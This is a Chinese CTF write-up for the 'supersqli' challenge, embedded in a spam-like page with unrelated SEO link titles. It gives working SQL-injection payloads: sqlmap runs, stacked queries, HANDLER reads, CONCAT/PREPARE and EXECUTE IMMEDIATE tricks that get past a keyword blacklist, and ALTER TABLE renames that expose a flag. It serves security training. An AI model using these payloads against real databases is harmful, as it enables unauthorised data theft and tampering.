当前位置: 首页 > news >正文

商城网站怎么优化网站收录提交入口网址

商城网站怎么优化,网站收录提交入口网址,wordpress同步qq微博,临沂做网站首选题目来源:攻防世界supersqli 目录 一、打开靶机,整理已知信息 二、sqlmap解题 step 1:爆数据库 step 2:爆表 二、手工注入解题 step 1:判断注入类型 step 2:判断字段数 step 3:查询数据…

题目来源:攻防世界supersqli

目录

一、打开靶机,整理已知信息

二、sqlmap解题

step 1:爆数据库

step 2:爆表

二、手工注入解题

step 1:判断注入类型

step 2:判断字段数

step 3:查询数据库

step 4:使用堆叠注入查数据库、表

1.查数据库

2.查表

3.查列

4.查具体数据

(1)handler查询法

(2)预编译绕过法

(3)修改原查询法

(4)EXECUTE IMMEDIATE


一、打开靶机,整理已知信息

        查看源码,发现一句话:用sqlmap是没有灵魂的。所以可以先用sqlmap跑一下,然后尝试手工注入

二、sqlmap解题

step 1:爆数据库

python sqlmap.py -u http://61.147.171.105:49439/?inject=1 -dbs

得到数据库名supersqli

step 2:爆表

python sqlmap.py -u http://61.147.171.105:49439/?inject=1 -D supersqli --tables

这里没有给出结果,所以sqlmap没办法继续了。到这里只得到数据库名为supersqli

二、手工注入解题

step 1:判断注入类型

键入:1、1''、1‘ and '1'='1 #

回显正常

键入:1'

报错了

说明此处存在注入点,且为字符型注入

step 2:判断字段数

键入:1 order by 2 #

回显正常

键入:1' order by 3 #

报错了

所以字段数为2

step 3:查询数据库

1' union select 1,2 #

显示被过滤掉了

  • select:用于从数据库中查询数据的 SQL 语句关键字。
  • update:用于更新数据库中表的数据的 SQL 语句关键字。
  • delete:用于从数据库表中删除数据的 SQL 语句关键字。
  • drop:用于删除数据库对象(如表、视图等)的 SQL 语句关键字。
  • insert:用于向数据库表中插入新数据的 SQL 语句关键字。
  • where:用于在 SQL 语句中指定查询、更新、删除等操作的条件。
  • i的意思为以上关键字都不区分大小写,意为不能用大小写绕过

        所以不能正常的sql注入

step 4:使用堆叠注入查数据库、表

堆叠注入:多条SQL语句用分号隔开,均执行

1.查数据库

1';show databases;#

猜测flag在supersqli表里

2.查表

1';use supersqli;show tables;#

得到两个表:1919810931114514、words

3.查列

1';use supersqli;show columns from `1919810931114514`;#

当表名是纯数字字符串的时候需要加反引号` 

        看到老朋友flag了

4.查具体数据

        前面看到select也被过滤了,所以不能有普通的查询方法

(1)handler查询法

handler语句是MySQL专用语句,可以一行一行的浏览一个表中的数据。

1.句柄(handle)相当于指针,是一个广义的指针

2.命令

(1)打开句柄:handler 表名 open;

(2)查看数据:handler 表名 read first\next;  以此推荐

详情见【MySQL】MySQL 之 handler 的详细使用及说明_mysql handler-CSDN博客

1';use supersqli;handler `1919810931114514` open as p;handler p read first;#

第二条命令意为打开1919810931114514并命名为p;第三条意为打开并阅读p中第一条数据

(2)预编译绕过法

预编译绕过法

1.预编译语句是一种预处理SQL语句的技术,允许我们定义和编译SQL语句,在每次执行SQL查询时只需传递参数即可。即SQL查询会被MySQL进行编译依次,然后可以多次执行

select会被过滤,所以要用预编译来绕过过滤

1';

set @sql = CONCAT('sele','ct flag from `1919810931114514`;');

prepare stmt from @sql;

EXECUTE stmt;#

解释:

第二条语句意为使用concat函数拼接为一个完整SQL语句并赋值给变量@sql

第三条语句则为预编译SQL语句:prepare语句用于准备一个SQL语句,将变量@sql中的SQL语句进行预编译,并将编译后的语句命名为stmt

第四条语句即为执行stmt语句

目的为获取flag

set和prepare被strster函数过滤掉了,但该函数不区分大小写,所以修改一下

1';

Set @sql = CONCAT('sele','ct flag from `1919810931114514`;');

Prepare stmt from @sql;

EXECUTE stmt;#

得到flag

(3)修改原查询法

原理就是没有过滤掉alter,可用alter将字段flag改为1,然后查询1,得到flag

        先找一下查询1的时候处于哪张表(之前得到有两张表:1919810931114514、words)

1';show columns from words;#

        可得查询1时默认的数据库就是supersqli,这个在sqlmap中也可得到验证

        继续看word表里的字段

1';handler words open as a;handler a read next;#

得到一样的信息,所以原查询就在表words的字段id里面

注:这里上下两张表是因为堆叠注入的作用,两个语句都被执行了

修改原查询的核心:1919810931114514表和words表的构成相同,id字段和flag字段对应,int(10)字段和varchar(100)字段对应

所以将表1919810931114514名字改为words,将flag列改为id

payload:

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

解释:第三条语句是将表words中flag列名改为id,并将该列的数据类型设置为varchar(50)

(4)EXECUTE IMMEDIATE

execute immediate语句:允许执行动态构建的SQL语句

查询表中字段的值,用execute immediate语句绕过黑名单 select

1';execute immediate concat('sele','ct flag from `1919810931114514`') #

原理:字符串拼接,在程序中拼接成完整的SQL语句,不触发黑名单检查

http://www.hrbkazy.com/news/32521.html

相关文章:

  • b2c的电子商务网站百度数据
  • 做网站在哪里添加关键词百度seo优化培训
  • 越秀区pc端网站建设广告关键词排名
  • 做外贸需关注的网站重庆排名seo公司
  • 怎么建网站卖产品杭州免费网站制作
  • 网站托管什么意思cps推广平台
  • 动态网站开发用名词解释seo
  • 无锡网站网页设计培训北京网站建设公司优势
  • 有那些网站做食品供应链的呢找百度
  • 免费工作总结ppt模板下载专业seo排名优化费用
  • 3d模型素材库中国seo关键词优化工具
  • 网站建设和数据库维护微信营销成功案例8个
  • 舟山公司做网站优化大师班级
  • 手机价格网站建设百度关键词排名快速排名
  • 网站开发税目编码电脑培训班在哪里有最近的
  • 浙江专业网站建设商城报价网店培训教程
  • 驻马店市政府采购电子商城百度seo排名培训 优化
  • 陵水网站建设哪家专业网店推广实训报告
  • 宣传页制作郑州网站优化排名
  • 微网站用手机可以做吗腾讯nba新闻
  • 建立网站需要分几部进行网络推广引流有哪些渠道
  • 重庆市城乡建设委员会官方网站软件推广的渠道是哪里找的
  • 海南网站建设介绍sem专业培训公司
  • 彩票网站我想自己做一级消防工程师考试
  • vr网站制作域名注册新网
  • 做网站写代码流程今天nba新闻最新消息
  • 公司企业网站建设教程张家界百度seo
  • 个人网站名字可以用哪些企业网站推广方案
  • 58网站怎么做才有客户问友情链接外链
  • 做网站的时候怎么照片路径百度有哪些app产品